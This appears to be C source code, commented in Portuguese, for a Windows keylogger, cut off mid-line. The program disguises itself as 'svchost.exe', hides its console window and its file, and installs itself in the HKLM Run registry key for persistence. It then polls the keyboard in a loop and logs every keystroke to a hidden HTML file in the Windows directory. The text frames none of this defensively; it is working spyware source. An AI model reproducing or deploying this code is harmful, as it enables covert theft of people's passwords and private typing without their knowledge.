int caps; //variavel int caps para verificar CAPS-LOCKvoid ativar_shift(); // funcao logar_shift para logar quando shift estiver pressionadovoid ativar_minusculas(); // funcao logar_min para logar quando for letras minusculasvoid ativar_maiusculas(); // funcao logar_mai para logar letras maiusculasvoid main(int argc, char *argv[]){ SetConsoleTitle("svchost.exe"); //muda o titulo do console para svchost.exe HWND janela = FindWindow(NULL,"svchost.exe"); //procura pela janela com o nome de svchost.exe ShowWindow(janela, SW_HIDE); //SH_HIDE para esconder a janela RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key); RegSetValueEx(key,"",0,1,(LPBYTE)"C:\\WINDOWS\\svchost.exe",22); //adiciona o keylogger no registro do win strcpy(caminho,argv[0]); //copia o diretorio aonde foi executado o keylogger para o char caminho CopyFile(caminho,"c:\\windows\\svchost.exe",0); //copia o arquivo para pasta do windows SetFileAttributes("c:\\windows\\svchost.exe", FILE_ATTRIBUTE_HIDDEN); //oculta o arquivo fp = fopen("c:/windows/web/log.htm","a"); //cria um arquivo de log onde vai ficar salvo as teclas digitadas fprintf(fp, " "); while(1) { if(GetAsyncKeyState(13)==-32767) // 13 == ENTER fprintf(fp," "); //esse foi o motivo de criar em html pois qdo derem enter ele vai pular uma linha no arquivo de log if(GetAsyncKeyState(0x10)) // Verifica se SHIFT esta pressionado { ativar_shift(); // chama funcao logar_shift } caps = GetKeyState(0x14); // verifica se CAPS-LOCK esta pressionado, se sim 1, senao 0 switch(caps) // loop switch para caps { case 0: // caso 0 ativar_minusculas(); break; case 1: // caso 1 ativar_maiusculas(); break; } if(GetAsyncKeyState(0x20)==-32767) // 0x20 -> tecla space fprintf(fp," "); // escreve no arquivo if(GetAsyncKeyState(8)==-32767) // tecla backspace fprintf(fp,"[BackSpace]");// escreve no arquivo if(GetAsyncKeyState(96)==-32767)// tecla 0 fprintf(fp,"0"); // escreve no arquivo if(GetAsyncKeyState(97)==-32767) // tecla 1 fprintf(fp,"1"); // escreve no arquivo if(GetAsyncKeyState(98)==-32767) // tecla 2 fprintf(fp,"2"); // escreve no arquivo if(GetAsyncKeyState(99)==-32767) // tecla 3 fprintf(fp,"3"); // escreve no arquivo if(GetAsyncKeyState(100)==-32767) // tecla 4 fprintf(fp,"4"); // escreve no arquivo if(GetAsyncKeyState(101)==-32767) // tecla 5 fprintf(fp,"5"); // escreve no arquivo if(GetAsyncKeyState(102)==-32767) // tecla 6 fprintf(fp,"6"); // escreve no arquivo if(GetAsyncKeyState(103)==-32767) // tecla 7 fprintf(fp,"7"); // escreve no arquivo if(GetAsyncKeyState(104)==-32767) // teclar 8 fprintf(fp,"8"); // escreve no arquivo if(GetAsyncKeyState(105)==-32767)// tecla 9 fprintf(fp,"9"); // escreve no arquivo if(GetAsyncKeyState(48)==-32767)// tecla 0 fprintf(fp,"0"); // escreve no arquivo if(GetAsyncKeyState(49)==-32767) // tecla 1 fprintf(fp,"1"); // escreve no arquivo if(GetAsyncKeyState(50)==-32767) // tecla 2 fprintf(fp,"2"); // escreve no arquivo if(GetAsyncKeyState(51)==-32767) // tecla 3 fprintf(fp,"3"); // escreve no arquivo if(GetAsyncKeyState(52)==-32767) // tecla 4 fprintf(fp,"4"); // escreve no arquivo if(GetAsyncKeyState(53)==-32767) // tecla 5 fprintf(fp,"5"); // escreve no arquivo if(GetAsyncKeyState(54)==-32767) // tecla 6 fprintf(fp,"6"); // escreve no arquivo if(GetAsyncKeyState(55)==-32767) // tecla 7 fprintf(fp,"7"); // escreve no arquivo if(GetAsyncKeyState(56)==-32767) // teclar 8 fprintf(fp,"8"); // escreve no arquivo if(GetAsyncKeyState(57)==-32767)// tecla 9 fprintf(fp,"9"); // escreve no arquivo if(GetAsyncKeyState(187)==-32767)// simbolo = ( igual ) fprintf(fp,"="); // escreve no arquivo if(GetAsyncKeyState(189)==-32767) // simbolo - ( hifem ) fprintf(fp,"-"); // escreve no arquivo if(GetAsyncKeyState(191)==-32767) // simbolo ; ( ponto e virgula ) fprintf(fp,";"); // escreve no arquivo if(GetAsyncKeyState(188)==-32767) // simbolo , ( virgula ) fprintf(fp,","); // escreve no arquivo if(GetAsyncKeyState(190)==-32767) // simbolo . ( ponto ) fprintf(fp,"."); // escreve no arquivo if(GetAsyncKeyState(193)==-32767) // simbolo / ( barra ) fprintf(fp,"/"); // escreve no arquivo if(GetAsyncKeyState(192)==-32767) //simbolo ' ( aspas simples ) fprintf(fp,"'"); // escreve no arquivo if(GetAsyncKeyState(9)==-32767) // tecla TAB fprintf(fp,"[TAB]"); // escreve no arquivo if(GetAsyncKeyState(219)==-32767)// acento agudo xD fprintf(fp,"?"); // escreve no arquivo if(GetAsyncKeyState(222)==-32767) // acento sei la o que, ? o tiozinho =D